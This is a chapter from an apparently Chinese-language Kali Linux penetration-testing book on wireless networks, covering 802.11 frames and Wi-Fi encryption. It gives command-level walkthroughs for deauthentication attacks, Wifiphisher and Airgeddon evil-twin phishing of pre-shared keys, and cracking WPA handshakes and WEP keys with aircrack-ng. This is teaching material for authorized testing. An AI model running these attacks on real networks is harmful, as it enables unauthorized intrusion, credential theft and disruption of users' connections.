在这两种模式中,有一个称为服务集标识(SSID)的共同组件,这是网络验证所必需的。在基础设施模式下,SSID 由访问点(AP)设置。在点对点模式下,SSID 由创建网络的站点设置。

在基础设施模式中,至少应该有一个访问点和一个站点。这两者组成了一个基本服务集(BSS)。当两个或更多访问点连接到相同的 IP 子网或虚拟局域网(VLAN)时,形成了扩展服务集(ESS),从而创建了一个单一的逻辑网络段。

自组网模式中,当两个或更多站点开始在没有访问点的情况下进行通信时,将创建独立基本服务集IBSS)。这种模式可以称为点对点模式。其中一个站点将自行处理访问点处理的责任,例如信标和认证新客户端。

无线帧

在无线网络中,通信是使用帧进行的。在无线帧中,前两个字节属于一个称为帧控制的组件。在这个帧控制帧内,我们有多个字段,其具有各种位大小。值得注意的是类型字段。

类型字段包含以下类别的帧:

  • 管理帧:这些负责保持站点和访问点之间的通信。这些帧的一些子类型包括认证、去认证、关联、信标、探测请求和探测响应。

  • 控制帧:这些负责访问点和站点之间的数据交换。这里的一些子类型包括请求发送、准备发送和 ACK。

  • 数据帧:这些帧携带实际数据。它们没有子类型。

我想深入研究以下帧,因为这些帧可以揭示一些关键信息。

值得注意的无线帧

信标帧是在无线网络中发送的最常见的数据包。这些通常发送得相当快,通常每秒几次。当然,这可以在各种无线访问点中进行控制。信标帧包含有用的信息,例如以下内容:

  • SSID 名称(除非关闭 SSID 广播)

  • 访问点的 MAC 地址

  • 安全功能(WPA2 密码,WPA,WEP,WPA 企业)

  • 信标间隔

  • 信道和信道宽度

  • 国家

  • 访问点支持的连接速度

图 1显示了信标帧中包含的内容。您会注意到间隔为 0.102400 [秒]。点号 1 显示该帧由一个 AP 发送,由于第二位未设置,这表示这不是一个自组网。点号 2 包含有关 SSID、支持的数据速率、信道宽度和国家信息的详细信息:

图 1:信标帧

应用的过滤器(wlan.fc.type_subtype==0x8)是特定于信标帧的,因为它们是管理帧(帧零)和子类型 8 的一部分。

去认证帧用于取消与访问点当前关联的客户端。有许多原因会导致您强制客户端取消关联;例如,如果您想揭示隐藏的 SSID 或者想捕获 WPA/WPA2 握手。

图 2显示了一个去认证数据包的示例捕获:

图 2:去认证帧

请注意,定义的原因代码为class 3表示站点正在离开或已离开独立基本服务集。这个去认证是使用 aireplay-ng 进行的。我们将在本章后面详细介绍这个工具。有许多原因代码,在表 1中我列出了常见的原因代码:

原因代码 描述 解释
0 无原因代码 这是正常行为
1 未指明的原因 客户端目前已关联但不再被授权
2 先前的身份验证不再有效 客户端已关联但未经授权
3 离开去认证 站点已被取消认证,因为它正在离开 IBSS 或 ESS
4 因不活动而取消关联 客户端会话已超时
5 关联 AP 繁忙 接入点当前繁忙,无法处理当前关联的客户端
6 非经过身份验证的站点的Class2 客户端尝试在身份验证之前传输数据
7 Class3 非关联站的帧 客户端在与接入点关联之前尝试传输数据

认证帧构成了认证过程。交换的认证帧数量各不相同;认证事务序列号负责跟踪认证过程,并且可以处理从165535的值。认证算法用于识别正在使用的认证类型。下面的示例捕获(图 3)显示正在使用开放认证:

图 3:认证帧

使用值0表示正在使用开放认证。值1表示正在使用共享密钥认证。

无线安全协议

随着无线技术的发展和广泛应用,无线技术的安全协议也得到了提升。

在无线安全中,密码只是一半的战斗。选择正确的加密级别同样重要,正确的选择将决定您的无线局域网是否容易被利用。大多数无线接入点为无线加密启用了三种标准之一:有线等效隐私WEP),或Wi-Fi 保护访问WPAWPA2)。

在进行对无线网络进行渗透测试之前,我们需要检查今天存在的加密标准,并了解它们的漏洞。

WEP

WEP 是为了解决开放网络的问题而创建的,这些网络容易受到窃听,因为没有使用加密。它在创建时提供了合理程度的安全性。它使用Rivest Cipher 4RC4)来加密流量,并使用 CRC32 校验和提供消息完整性。RC4 是对称密码,这意味着相同的密钥用于加密和解密数据。密码创建了一系列与明文进行异或运算的位,从而产生了加密数据。当然,可以通过简单地使用密钥流对加密数据进行异或运算来解密数据。

WEP 使用了 24 位的初始化向量IV)。IV 用于确保加密的第一个明文数据块是随机的。这确保了如果相同的明文被加密,结果将是不同的密文。由于 IV 的大小较小,密钥重用的可能性很高,这使得破解加密变得容易。

2001 年,网络安全专家发现了 WEP 中的几个严重缺陷,导致业界普遍建议在商业和消费设备中淘汰 WEP 的使用。

WPA

基于 WEP 的缺陷,迫切需要为无线设备提供更多安全性。这就是 WPA 被引入的时候。WPA 引入了两种新的链路层加密协议;这些是临时密钥完整性协议TKIP)和计数器模式与 CBC-MACCCMP)。

WPA 有两种模式:

  • WPA 个人:这使用预共享密钥进行认证,该密钥由网络中的所有对等体共享。

  • WPA 企业:利用 radius 服务器进行认证、授权和计费AAA)的 802.1x 认证。

WPA 仍然使用 WEP 作为加密算法以支持向后兼容和旧硬件。然而,通过使用 TKIP,它解决了一些安全漏洞,具体包括以下内容:

  • 256 位密钥

  • 通过为每个数据包生成一个唯一密钥进行数据包密钥混合

  • 自动传输更新的密钥

  • 完整性检查

  • 48 位 IV 大小和 IV 排序以减少重放攻击

Wi-Fi 保护访问版本 2(WPA2)

WPA2 作为 WPA 的继任者被引入。它使用更强大的高级加密标准AES)算法。AES 由三个对称块密码组成,每个密码块为 128 位。块的加密和解密可以使用 128 位、192 位和 256 位密钥进行。AES 需要更多的计算能力,但随着无线设备的进步,性能问题只在旧硬件上普遍存在。

WPA2 使用计数器模式和密码块链接消息认证码协议CCMP)。CCMP 通过只允许授权的设备或用户接收数据来提供数据机密性。密码块链接用于提供数据的完整性。

WPA2 与旧硬件不兼容,因为它是从头开始重新设计的。它支持 WPA 引入的个人企业模式。

2017 年,宣布了一个严重的影响 WPA2 的漏洞。它被称为KRACK,代表密钥重新安装攻击。当攻击者欺骗目标重新安装已经使用的密钥时,就会发生密钥重新安装攻击。这可以通过操纵和重放 WPA2 的加密握手消息来实现。当安装此密钥时,参数(如 nonce(递增传输数据包编号)和重放计数器)被重置为其初始值。通过强制重用 nonce,数据包可以被重放、伪造和解密。

Wi-Fi 保护访问版本 3(WPA3)

WPA3,于 2018 年宣布,旨在成为广泛使用的 WPA2 的继任者,并带来了一些核心增强功能,以增强个人和企业网络的安全保护和程序。

WPA3 引入了一个不同的握手过程,称为对等的同时认证SAE),也被称为Dragonfly密钥交换。加密由 AES-GCM 处理,WPA3 使用的会话密钥长度为企业模式为 192 位,个人模式为 128 位(192 位是可选的)。数据完整性由安全哈希算法 2SHA2)处理。

即使对于没有密码的 Wi-Fi 网络,WPA3 安全性也提供了一种称为个人数据加密的数据保护机制。该机制使用单独的密钥加密每个设备的数据包,因此其他设备无法解密彼此的数据。

WPA3 听起来确实很安全;然而,出现了一个名为Dragonblood的漏洞。这个漏洞允许攻击者通过滥用时间或基于缓存的侧信道泄漏来恢复密码。

WPA3 不在本书的范围内,但了解新标准和其中存在的漏洞是值得的。

有关 WPA3 的更多信息,您可以访问 Wi-Fi 联盟网页:www.wi-fi.org/discover-wi-fi/security

无线攻击类型

让我们来看看存在的各种类型的无线攻击:

  • 访问控制攻击:这些类型的攻击试图通过规避访问控制保护(如 MAC 过滤器或802.1x端口安全)来获取对无线网络的访问权限。一些访问控制攻击的例子如下:

  • 流氓接入点:这些是未经保护的接入点,用于在受信任的网络中创建后门。

  • MAC 地址欺骗:这种攻击试图欺骗已经获得授权的接入点或站点的 MAC 地址。

  • 临时关联:这种类型的攻击试图通过临时模式直接连接到一个站点。这使得可以绕过接入点的安全性,因为可以攻击或使用该站点作为枢纽点。

  • 机密性攻击:这些类型的攻击旨在拦截通过无线网络发送的流量。一些机密性攻击的例子如下:

  • 邪恶的双子 AP:这是一个恶意接入点,伪装成合法的接入点,试图欺骗客户端对其进行认证。这可以用来窃取凭据或进行中间人攻击。

  • 虚假门户:在这种攻击中,使用虚假的强制门户试图欺骗用户提供诸如预共享密钥、敏感信息或登录详细信息。

  • 完整性攻击:这些类型的攻击利用伪造的帧来误导接收者。它们也可以用于执行拒绝服务攻击。一些完整性攻击的例子如下:

  • Radius 重放攻击:利用嗅探和拦截等技术,可以捕获和存储请求认证器、标识符和服务器响应。这些可以稍后用于恶意目的进行重放。

  • 帧注入攻击:在这种攻击中,无线帧可以被操纵。例如,强制发出去认证帧,以迫使设备重新对接入点进行认证,以便捕获握手。

  • 身份验证攻击:这些类型的攻击旨在窃取身份验证信息,这些信息可以用于访问资源或服务。一些身份验证攻击的例子如下:

  • WEP/WPA/WPA2 密钥破解:这种攻击涉及捕获认证握手并执行离线暴力破解以获取预共享密钥。

  • 降级攻击:这些攻击可以针对802.1x,通过强制服务器使用伪造的 EAP 数据包提供更弱的认证。

兼容的硬件

拥有正确的硬件对于对无线网络进行渗透测试至关重要。并非所有无线适配器都能让您切换到监视模式或执行数据包注入。

监视模式允许无线适配器切换到混杂模式,以便监视数据包而不进行任何过滤。许多工具,如airodump-ngaireplay-ng,需要将无线适配器置于监视模式才能运行。

无线适配器

选择合适的无线适配器可能会很棘手,特别是在当今存在许多选项的情况下。正确的适配器是根据您的需求而定的。您可能需要一个小巧的适配器或一个可以利用各种天线尺寸的适配器。这完全取决于您的偏好以及它是否适合您。

需要注意的一点是,无线适配器的传输功率和接收灵敏度应该考虑在内。例如,较低的灵敏度对于接收更好,但较高的功率对于数据传输更好。通常,只有在考虑范围时才会使用高功率适配器。

具有 Atheros、Realtek 或 Ralink 芯片组的无线适配器通常支持监视模式和数据包注入。但并非所有适配器都支持。互联网上有多篇评论和文章定期更新最新支持的硬件。在您喜欢的搜索引擎上快速搜索关键词,如“Kali Linux 兼容的无线适配器”,将为您提供丰富的结果。

最常用的无线适配器是 Alfa 无线适配器。这些适配器在亚马逊和其他供应商那里都可以找到,而且价格相对便宜。要小心假货,因为市场上有许多假货。我正在使用的无线适配器是 Alfa AWUSO36NH。该卡的传输功率为 2000 毫瓦。在撰写本文时,该适配器在亚马逊上的价格为 31.99 美元。由于一些网络使用 2.4 GHz 和 5 GHz 频率,您可能需要一个可以在两个频率上工作的无线适配器。Panda PAU09 在 Kali Linux 上运行良好,并支持 2.4 GHz 和 5 GHz 频率;在撰写本文时,该适配器在亚马逊上的价格为 39.99 美元。

重要的是要注意,一些无线网卡在 Kali Linux 中可以直接使用。有些需要编译驱动程序。有时,同一型号的微小修订版本会产生不同的结果。确保您对无线网卡进行彻底的研究。

2.4 GHz 和 5 GHz 频率之间的主要区别是范围。2.4 GHz 能够比 5 GHz 到达更远的距离。另外,2.4 GHz 受到的干扰比 5 GHz 多得多。2.4 GHz 中有更多的重叠信道,有三个不重叠的信道,而 5 GHz 有二十三个不重叠的信道。

一旦您有兼容的无线适配器,您可以通过执行以下操作将其设置为监控模式:

  1. 在 Kali Linux 中打开一个终端窗口,并发出iwconfig命令。注意您的无线网卡的接口名称(图 4)。在下面的示例中,无线适配器接口名称是wlan0

图 4:使用 iwconfig 识别无线适配器

  1. 在更改模式之前,关闭接口是一个好习惯。这可以通过使用ifconfig wlan0 down命令来完成。要将模式从托管更改为监控,使用iwconfig wlan0 mode monitor命令。最后,使用ifconfig wlan0 up命令将接口重新上线,如图 5所示:

图 5:将无线适配器设置为监控模式

现在无线适配器正在监控模式下运行(Mode:Monitor)。要将接口切换回监控模式,请按照之前的步骤 2进行操作,但使用iwconfig wlan0 mode managed

使用airmon-ng可以更快地启用监控模式;这将在下一节中介绍。

如果您使用的是支持 1000 mW 传输功率评级的 Alfa 无线网卡,根据您的位置,您的Tx-Power可能设置为 20 dBm(如图 6所示)。要启用卡的全部功能,请按照以下步骤操作:

  1. 使用ifconfig wlan0 down命令关闭接口。Wlan0是接口名称;在您的环境中可能会有所不同。

  2. 使用iw reg set US命令将区域设置为美国。

  3. 使用ifconfig wlan0 up命令将接口上线。

  4. 使用iwconfig wlan0命令检查功率评级:

图 6:增加 Alfa TX 功率

注意功率评级现在已经增加到30 dBm图 6)。每10 dBm增加一次功率,以 mW 为单位增加 10 倍。

无线攻击工具

Kali Linux 包括一些内置工具,可用于攻击无线网络。我们将探讨各种工具及其用法。

请注意,随着您在本章的进展,您应该在自己的无线网络上执行攻击。

Wifiphisher

Wifiphisher 是一个出色的恶意访问点工具,可用于进行渗透测试或 Wi-Fi 安全测试。该工具通过对执行对接入点进行关联的无线客户端进行中间人攻击来工作。Wifiphisher 可以通过使用第三方登录页面进行定制,或者您可以创建自己的页面。

Wifiphisher 默认安装在 Kali Linux 中。可以使用wifiphisher命令来运行它。请注意,wifiphisher需要roguehostapd,但是您可以使用 Kali 中安装的hostapd。要使用hostapd,您可以运行wifiphisher --force-hostapd命令。

让我们使用wifiphisher的内置钓鱼页面执行一个简单的钓鱼活动。记得将您的无线适配器设置为监控模式:

  1. 从 Kali 终端窗口运行wifiphisher --force-hostapd命令。您将看到wifiphisher的主屏幕(图 7)。在这里,您将看到一个发现的无线网络列表。选择您想要创建一个恶意访问点的网络:

图 7:Wifiphisher 无线网络选择

  1. 一旦选择了网络,你将看到一系列可用的钓鱼场景。我选择了标准的“固件升级页面”,如图 8所示:

图 8:wifiphisher 的钓鱼场景

你可以构建自己的钓鱼场景,并利用互联网上提供的预构建自定义页面。这些页面需要存储在wifiphisher/data/phishingpages目录中。

一旦你选择了页面,wifiphisher将自动创建伪造的接入点,并开始去认证任何连接的客户端。

一旦用户再次尝试连接到无线网络,他们将看到您选择的钓鱼页面。在我的情况下,就像图 9中显示的固件升级页面一样:

图 9:固件升级钓鱼页面

一旦提供了预共享密钥,页面就会开始“升级固件”,但当然,实际上什么都没有发生。然而,在 Wifiphisher 终端上,我们有明文显示的捕获凭据,如图 10所示:

图 10:捕获的 PSK

在渗透测试中使用这个工具时,你需要让钓鱼页面令人信服。一些终端用户很懂技术,不会轻易上当一个简单的钓鱼页面。你还需要考虑,在企业 Wi-Fi 认证中使用他们的域凭据;在这种情况下,你需要创建一个巧妙的钓鱼页面,让它看起来像一个企业门户。

关于创建自定义钓鱼页面的更多信息可以在这里找到:wifiphisher.org/docs.html

Aircrack-ng 套件

Aircrack-ng 是预先安装在 Kali Linux 中的一套强大的工具。该套件包括以下类别的工具:

  • 监控:执行数据包捕获,并提供将数据导出到文本文件以供第三方工具使用的能力

  • 攻击:用于执行重放攻击、帧攻击(如去认证)等,使用数据包注入

  • 测试:查看 Wi-Fi 适配器的功能,执行捕获和数据包注入

  • 破解:对 WEP、WPA 和 WPA2 预共享密钥执行攻击

让我们深入了解各种工具以及如何用于渗透测试。请记住,你的无线适配器必须处于监视模式才能使用这些工具。我们将从使用airmon-ng启用监视模式开始。

Airmon-ng

Airmon-ng 是一个脚本,用于在无线适配器上启用和禁用监视模式。运行airmon-ng而不带任何参数将显示当前的无线接口状态。

Airmon-ng 简单直接。使用以下步骤在无线适配器上启用监视模式:

  1. 打开一个终端窗口,使用airmon-ng命令查看你的无线适配器的名称。这个命令将显示当前的无线适配器、它的接口名称、驱动程序和芯片组。

  2. 要将适配器置于监视模式,你可以使用airmon-ng start [interface name]命令。例如,在图 11中,我的适配器的接口名称是wlan0

图 11:使用 airmon-ng 启用监视模式

airmon-ng可以用来检查是否有任何进程会干扰aircrack-ng套件的工具。检查的命令是airmon-ng check

图 12中,我们看到有一些进程可能会影响aircrack-ng工具套件:

图 12:识别有问题的进程

你可以让airmon-ng使用这个命令杀死任何会干扰的进程:airmon-ng check kill

要将无线适配器重新设置为managed模式,可以使用以下命令:airmon-ng stop [interface name]

airmon-ng使您能够在特定信道上将适配器设置为监视模式。可以使用以下命令完成:

airmon-ng start [interface name] [channel number]

当有很多无线网络并且您想专注于目标网络所在的特定信道时,这将非常有用。

Airodump-ng

Airodump-ng 用于捕获原始 802.11 帧的数据包。该工具可用于收集 WPA 握手或弱 WEP 初始化向量,以供 Aircrack-ng 使用。它具有记录检测到的无线网络的 GPS 坐标的功能,这些坐标可以稍后导入在线 Wi-Fi 映射工具。

airodump-ng的命令语法是airodump-ng [options][interface name]

airodump-ng有很多选项可供选择。只需输入airodump-ng命令即可显示完整列表。一些值得注意的选项如下:

  • -w:用于将输出写入文件。

  • -c:用于指定要捕获的信道。

  • -bssid:用于定义目标 BSSID。

使用airodump-ng [interface name]命令进行无线网络嗅探,不需要任何选项。显示的输出将显示范围内的当前无线网络,包括连接的站点,如图 13所示:

图 13:Airodump-ng 输出

不要被显示的信息所压倒,因为理解它很简单。Airodump-ng 有两个独立的部分。顶部显示了有关发现的网络的信息。字段描述如下:

字段 描述
BSSID 这是接入点的 MAC 地址。
PWR 这是信号级别。您离接入点越近,信号级别评分就越高。有些可能显示为-1,意味着您离得太远,或者检测信号级别时存在驱动程序问题。
Beacons AP 发送的信标帧数量。
#Data 捕获的数据包数量。如果使用 WEP,它将是唯一的 IV 计数。
#/s 在 10 秒内捕获的数据包数量。
CH 这是信道号,从信标帧中派生出来。
MB AP 支持的最大速度。
ENC 正在使用的加密算法。
Cipher 检测到的加密算法。
Auth 正在使用的认证协议。
ESSID 网络的 SSID。如果 SSID 是隐藏的,那么这个值将为空;但是,airodump-ng将尝试从探测和关联响应中恢复 SSID。

底部部分显示了检测到的接入点和连接到接入点的客户端(站点)的 MAC 地址。

出于演示目的,我正在瞄准 Hackme 无线网络。我将告诉airodump-ng专注于该接入点和信道,并且我希望将捕获写入磁盘。可以使用以下命令完成:

airodump-ng -c 6 --bssid B8:69:F4:93:A7:55 -w hackme-cap [interface name]

在此命令中,-c 6表示信道号,--bssid表示接入点 MAC 地址,-w表示捕获的文件名,interface name是我的无线适配器,处于监视模式:

图 14:定制 airodump-ng 以针对特定网络

请注意图 14中的输出,其中捕获了 WPA 握手。我们将在本章后面的Aircrack-ng部分介绍如何破解该握手。

Aireplay-ng

Aireplay-ng 主要用于注入帧并生成流量,以备后续使用aircrack-ng。常见的攻击之一是去认证攻击;这种攻击的目的是捕获握手数据。

aireplay-ng的命令语法如下:

aireplay-ng [options][interface name]

aireplay-ng具有丰富的选项,对于各种攻击方法,攻击方法可以用名称或数字来定义。例如,去认证攻击是攻击编号 0或者可以使用--deauthaireplay-ng支持以下攻击方法:

  • 去认证:此攻击的目的是使连接到接入点的客户端取消关联。这会迫使它们重新关联,并使您能够捕获握手过程。

  • 伪认证:此攻击允许您与接入点关联。当您需要利用各种攻击而没有站点与接入点关联时,这是很有用的。

  • 交互式数据包重播:当您想要选择特定数据包重播到接入点时使用此攻击。

  • ARP 请求重播攻击:此攻击有效地生成新的 IV。它通过将 ARP 数据包重新发送到接入点来工作,这迫使接入点用新的 IV 重复 ARP 数据包。

  • KoreK chopchop 攻击:此攻击能够在没有密钥的情况下解密 WEP 数据包。它不会恢复 WEP 密钥,但会以明文形式显示出来。

  • 分段攻击:此攻击用于获取伪随机生成算法PRGA)。这个 PRGA 可以与packetforge-ng一起用于生成各种其他注入攻击的数据包。

  • Cafe-latte 攻击:此攻击使您能够从客户端站点而不是接入点获取 WEP 密钥。它操纵 ARP 数据包发送到客户端,客户端再将其发送回来,然后被捕获和分析。

  • 面向客户端的分段攻击:这扩展了 cafe-latte 攻击,使用任何数据包而不仅仅是 ARP 数据包。

  • WPA 迁移模式:此攻击特定于 Cisco 接入点中发现的漏洞,使 WPA 和 WEP 客户端能够使用相同的 SSID 关联到接入点。

  • 注入测试:此测试确定您的无线适配器是否能成功向接入点注入数据包。

每种攻击都可以用一个数字来定义。例如,去认证攻击可以定义为-0。您将在本章后面注意到,我们将使用数字来表示各种攻击。

让我们使用aireplay-ng来执行去认证攻击,如图 15所示,使用以下命令:

aireplay-ng -0 10 -a [BSSID] -c [Client MAC] [interface name]

在这个命令中,-0 10用于指定去认证攻击,只会发送10个数据包,-a用于定义接入点的 MAC 地址,-c用于定义客户端的 MAC 地址,interface name是无线适配器,处于监视模式。有时,可能需要更多的数据包才能使站点取消认证。您可以使用-0 0选项来发送无限数量的数据包:

图 15:去认证攻击

ACKs代表以下内容:

[Client ACKs received | Access point ACKs received]

这为您提供了一个很好的指示,表明数据包是否已被接收。数值越高越好。

Airgeddon

摆脱了aircrack-ng套件中的多个工具,现在让我们专注于一个具有多种功能并且易于使用的工具。

Airgeddon(由v1s1t0r1sh3r3开发)是一个用bash编写的工具,用于对无线网络进行多种攻击。Airgeddon 的一些特点如下:

  • 能够管理接口模式(监视和管理)

  • 支持 2.4 GHz 和 5 GHz 频段

  • 辅助 WPA/WPA2 握手捕获,清理和优化文件

  • WPA/WPA2 企业和个人的离线密码破解

  • 恶意双胞胎攻击

  • WPS 攻击

Airgeddon 在 Kali Linux 中不是默认安装的。要安装它,请执行以下步骤:

  1. 安装 Airgeddon 可以通过克隆存储库来完成。在 Kali Linux 中使用以下命令来克隆 Airgeddon:
git clone https://github.com/v1s1t0r1sh3r3/airgeddon
  1. 一旦你克隆了 Airgeddon,就使用以下命令来运行它:
sudo bash airgeddon.sh

当 Airgeddon 启动时,它将执行一系列检查,以确保您拥有所有所需的工具。如果检测到缺少工具,它将突出显示这些工具,并包括软件包名称,如图 16所示:

图 16:Airgeddon 可选工具检查

  1. 图 16中,有一些工具缺失。请注意软件包名称。要安装缺失的工具,我们可以简单地使用此命令:
apt get install bettercap mdk4 hostapd-wpe
  1. 完成初始检查后,Airgeddon 将提示选择要使用的网络卡,如图 17所示:

图 17:接口选择

  1. 选择您的接口后,您将看到 Airgeddon 的主菜单,如图 18所示:

图 18:Airgeddon 的主菜单

主菜单提供了许多选项。在第一部分中,我们可以将所选的接口设置为监视模式或托管模式。接下来的部分定义了 Airgeddon 能够执行的各种攻击。最后一部分是选项和积分。

邪恶孪生攻击

现在,我们将使用 Airgeddon 执行邪恶孪生攻击。邪恶孪生攻击是一种恶意接入点,旨在获取敏感信息、获取凭据或投放恶意有效负载。在我们的示例中,我们将创建一个邪恶孪生,旨在通过俘获门户窃取无线网络的预共享密钥:

您只应对您被授权的网络执行此攻击。出于学习目的,您应该对自己的无线网络执行此攻击。

  1. 使用以下命令启动 Airgeddon:
sudo bash airgeddon.sh
  1. 选择您的无线适配器,并使用 Airgeddon 的主菜单将其设置为监视模式。接下来,选择选项7,邪恶孪生攻击菜单(图 19)。菜单加载后,选择选项9

图 19:邪恶孪生攻击菜单

  1. Airgeddon 将执行的第一步是探索无线网络。它将自动设置 WPA/WPA2 的过滤器,并在新窗口中开始扫描,如图 20所示:

图 20:Airgeddon 探索目标

  1. 请将此窗口保持打开一段时间,以便您可以获得无线网络的准确读数。一旦您关闭窗口,Airgeddon 将提示您选择要攻击的网络(图 21)。请注意,*表示这是一个活动网络:

图 21:Airgeddon 网络选择

  1. 选择要攻击的网络后,您将看到 deauth 攻击菜单,如图 22所示:

图 22:Deauth 攻击菜单

这里有一些选项可供选择;您需要找到与您攻击的网络最匹配的选项。通常,mdk4攻击非常有效。

  1. 选择 deauth 模式后,Airgeddon 将提示您进行一些额外的设置,例如 DOS 追求模式和在接口上启用互联网访问。为简单起见,我们将选择NO。下一批选项与欺骗您的 mac 地址有关,并定义捕获文件(如果您已经有)。如果选择捕获文件的NO,则可以定义等待 WPA 提议的秒数。根据网络的活动程度,您需要增加此值。如果不这样做,并使用默认值,您可能无法获得 WPA 握手。

  2. 完成选项后,将打开两个新窗口。一旦捕获到 WPA 握手,Airgeddon 将通知您继续下一步,即定义俘获门户的语言。一旦定义了语言,Airgeddon 将启动多个窗口(图 23)执行邪恶孪生攻击:

图 23:Airgeddon 邪恶孪生攻击

生成的窗口与 DNS(用于拦截 DNS 请求)、DHCP(用于为站点提供有效的网络地址,以便与虚假接入点通信)、虚假接入点(虚假接入点配置)、Web 服务器(用于托管俘获门户)和最后,信息窗口有关。所有这些都是为了托管虚假的俘获门户而需要的。

现在,当站点连接到接入点时,它将被呈现一个俘获门户。一旦输入预共享密钥,它将以明文形式呈现(图 24)。可以根据需要调整俘获门户:

图 24:捕获的预共享密钥

Airgeddon 非常简单易用。它具有丰富的攻击功能。随着您的进展,您可能会发现更多的工具,但是了解如何使用aircrack-ng中的工具仍然是有益的,因为您可能已经注意到 Airgeddon 中的一些攻击仍然利用了aircrack-ng套件的部分。

破解 WEP、WPA 和 WPA2

Aircrack-ng 是一个程序,可以破解 WEP、WPA 和 WPA2 预共享密钥。它支持一些用于破解密码的方法,这些方法如下:

  • Pyshkin,Tews,WeinmannPTW),它使用 ARP 数据包来破解 WEP 密钥。

  • FMS/KoreK 使用统计攻击和暴力破解技术来破解 WEP 密钥。

  • 字典方法利用字典文件,可用于暴力破解 WEP、WPA/WPA2 密钥。请注意,对于 WPA/WPA2 破解,这是唯一使用的方法。

aircrack-ng的命令语法如下:

aircrack-ng [options] <capture file(s)>

aircrack-ng有许多可用选项。可以通过运行aircrack-ng命令而不定义其他任何内容来查看这些选项。

破解 WPA/WPA2

让我们看一个使用aircrack-ng破解 WPA2 的例子。重要的是要注意,破解 WPA2 的唯一可能方法是使用带有暴力破解技术的字典文件。对于所有暴力破解尝试,成功取决于您的字典文件的质量。请记住,更大的字典文件将需要更多的时间和处理能力。

图 25中,您会注意到捕获了一个 WPA 握手:

图 25:WPA 握手捕获

使用以下命令破解这个握手:

aircrack-ng -w [wordlist] [capture file]

-w开关表示将使用的字典文件的位置。您可以按名称定义捕获文件,或者如果有多个捕获文件,可以使用*.cap。使用该命令,观察结果如图 26所示:

图 26:使用 aircrack-ng 破解 WPA 密钥

破解 WPA2 握手的过程与 WPA 的过程完全相同。

WPA/WPA2 除了预共享密钥之外,还支持许多认证方法。Aircrack-ng 只能破解使用预共享密钥的 WPA 网络。如果airodump-ng显示网络使用 PSK 以外的东西,请不要尝试破解,因为这会浪费您的时间。

破解 WEP

破解 WEP 密钥有多种方法。在前一节中,我们讨论了攻击,如伪身份验证、caffe-latte 攻击、PTW 攻击等。

现在,我们将执行一些攻击来破解 WEP 密钥。此攻击至少需要一个连接到接入点的站点。

在我的设置中,我已将我的主机机器用作连接的客户端。如果您用于测试此攻击的路由器支持 WEP,请在执行以下步骤之前在路由器上设置 WEP:

  1. 确保您的无线适配器处于监视模式。使用airodump-ng,我们将指定使用 WEP 的无线网络并开始捕获数据包。在我的设置中,无线网络名为Hackme。使用airodump-ng部分中定义的命令,我正在调整airodump以使用以下命令专门捕获无线网络的数据包:
airodump-ng -c 6 --bssid B8:69:F4:93:A7:55 -w hackme-cap [interface name]

要破解 64 位 WEP 密钥需要大量的 IVs,至少需要大约 250,000 个。让捕获空闲,需要一些时间来获取足够数量的 IVs。为了加快这个过程,我们将捕获并重放数据包到接入点,以生成唯一的 IVs。在这之前,我们需要对接入点进行认证,否则我们发送的任何数据包都将被丢弃。

  1. 为了对接入点进行认证,我们将执行一个伪身份验证攻击(图 27)。这种攻击通过说服接入点我们知道 WEP 密钥来进行,但我们并不发送它。为了执行这个攻击,我们使用这个命令:
aireplay-ng -1 0 -e Hackme -a [MAC Address] -h [MAC Address] [interface name]

在这个命令中,我们使用-1来定义攻击;0是重传时间,-e表示 SSID,-a是我们想要认证的接入点的 MAC 地址,-h是网络卡的 MAC 地址,interface name是处于监视模式的无线interface name

图 27:执行伪身份验证攻击

注意认证成功了;我们可以开始向接入点发送数据包。除非先发送 WEP 密钥,否则接入点不会接受流量。由于我们还没有发送密钥(因为我们还不知道),我们需要捕获已认证的客户端的数据包,并重放它们。为此,我们将使用 ARP 请求重放攻击。

  1. 利用aireplay-ng,我们将告诉它捕获并重新广播它收到的任何 ARP 数据包。我们将使用以下命令:
aireplay-ng -3 -b [MAC Address] -h [Mac Address] [interface name]

在这个命令(图 28)中,我们使用-3来定义攻击;-b用于定义接入点的 MAC 地址,-h用于定义处于监视模式的无线适配器的 MAC 地址,接口名称是处于监视模式的无线适配器的接口名称:

图 28:执行 ARP 请求重放攻击

注意警告。如果您定义了错误的 MAC 地址,aireplay-ng将会警告您。

当流量从经过认证的客户端到接入点,以及捕获 ARP 请求时,您会注意到 ARP 请求计数在增加。您可能会收到一条消息,说明您收到了deauth/disassoc数据包。如果发生这种情况,请确保重新运行伪身份验证攻击(步骤 2);您可能需要多次这样做。

一旦您收到足够的 IVs,如图 29所示,在#Data列下,您就可以使用aircrack-ng来破解密钥:

图 29:通过#Data 列显示接收到大量 IVs

  1. 要破解 WEP 密钥,使用以下命令:
aircrack-ng -b [MAC Address] [capture]

在这个命令中,我们使用-b选项定义了接入点的 MAC 地址,然后我们定义了捕获名称,也可以定义为*.cap

如果您捕获了足够的 IVs,密钥将会被破解,如图 30所示:

图 30:WEP 密钥破解

记住去掉冒号:,以获取实际的密钥。

破解 WPA/WPA2 和 WEP 之间的区别在于方法。WEP 使用统计方法,可以用来加快破解过程,但在 WPA/WPA2 中,唯一存在的选项是暴力破解。

总结

在这一章中,您已经了解了各种无线攻击方法。我们已经确定了无线网络的一个关键组成部分,无线帧,以及可以从其中一些帧中获取的各种信息。您已经了解了哪些网络卡能够执行数据包注入,拦截无线数据包,以及如何增加 Alfa 无线网卡的功率评级。

我们讨论了存在于无线网络中的各种加密方法,以及它们的漏洞。您已经了解了各种攻击工具,以及如何执行不同类型的攻击。最后,您已经学会了如何破解 WEP 和 WPA/WPA2 预共享密钥。

在第十章中,横向移动和提升特权,我们将探讨如何在网络中横向移动,以寻找高特权账户的目标。您还将学习如何在网络中提升特权。

问题

  1. 列举三种无线帧的类型。

  2. 从信标帧中可以获得什么类型的信息?

  3. 为什么 WPA2 比 WPA 更安全?

  4. 列举四种无线攻击类型。

  5. 列举三种无线攻击工具的名称。

第三部分:利用后

在这一部分,我们将探讨在利用后使用的技术。您将学习如何应用各种技术来进行横向移动、权限提升和枢纽。我们将探讨各种技术控制的方式,比如反病毒措施,如何使用工具和自定义 shell 代码来规避。您将学习如何使用持久化技术在受损网络中保持访问权限。

本节将涵盖以下章节:

  • 第十章,横向移动和提升权限

  • 第十一章,反病毒规避

  • 第十二章,在环境中保持控制

第十章:横向移动和提升权限

